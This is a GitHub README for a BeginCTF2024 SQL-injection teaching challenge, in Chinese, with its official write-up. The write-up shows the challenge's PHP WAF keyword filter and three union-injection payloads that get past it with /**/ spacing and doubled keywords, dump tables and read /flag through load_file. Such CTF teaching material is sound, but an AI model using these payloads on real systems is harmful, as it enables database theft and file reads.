Skip to content

RealHurrison/beginctf2024_web_sql_tutorial

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

BeginCTF2024 SQL教学局

此repo为该题源码,可以通过以下命令快速搭建

dockerfile写得稀烂师傅们骂轻点(

docker push kihanahare/2024beginctf_sqldemo:V1

WriteUp

官方全套wp飞书直达:https://hjug69b9j6.feishu.cn/docx/V02Rd3MyWoRPVxxTTCOcLutNnqe?from=from_copylink

甩锅:题目没有问题,只是你拿到的第二段flag可能是假的,因为里面500条混淆数据,只有特定的一条是正确的

本着教学的目的,还是简单提一嘴sql注入,以及观察waf的方法,这里直接把waf放出来

function waf($input)
{
    if (preg_match('/regexp|left|floor|reverse|update|between|=|>|<|and|\|right|substr|replace|char|&|\\\$|sleep| /i', $input, $matches)) {
        return array(false, $matches[0]);
    } else {
        $pattern = "/(select|from|load|or)/i";
        $input = preg_replace($pattern, '', $input);
        return array(true, $input);
    }
}

本质上就是对sql语句的直接拼接,且对传入的参数没有做好过滤,导致非法的sql语句执行,这一点在前端中也体现了,此处采用的注入手法为union注入,也就是联合注入

  • 第一段flag位于 secret数据库password表的某条数据

构造的sql语句为:

select ? from secret.password

由于不知道字段名,可以通过查询information_schema.columns获得数据,固定手法啊,记好了!

select group_concat(column_name) from information_schema.columns where table_schema=xxx

然后空格绕过,此处采用/**/即可,等号被过滤了用like即可

img

发现有些关键字被吞了,双写绕过即可,select -> selselectect

img

获得三个字段名,猜一下是flag,猜不到你就爆

综上所述,绕过waf后,所以第一个flag的payload:

1'/**/union/**/selselectect/**/flag/**/frofromm/**/secret.passwoorrd%23

img

  • 第二段flag位于 当前数据库score表,学生begin的成绩(grade)

争议最大的地方,不想手选数据就用where搞定即可。构造的sql语句为:

select ? from score where ? = 'begin'

不知道字段名用上面的方法看一下嘛!

img

绕过waf,payload如下

1'/**/union/**/seleselectct/**/grade/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin'/**/%23

img

其实本来是要把begin过滤掉的,但是好像忘写了,可以想一想如果过滤了begin,又怎么做

  • 第三段flag位于 /flag

经典之load_file,读文件即可

构造的sql语句:

select load_file('/flag')

绕过waf,payload如下

1'/**/union/**/seleselectct/**/loloadad_file('/flag')%23

img

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published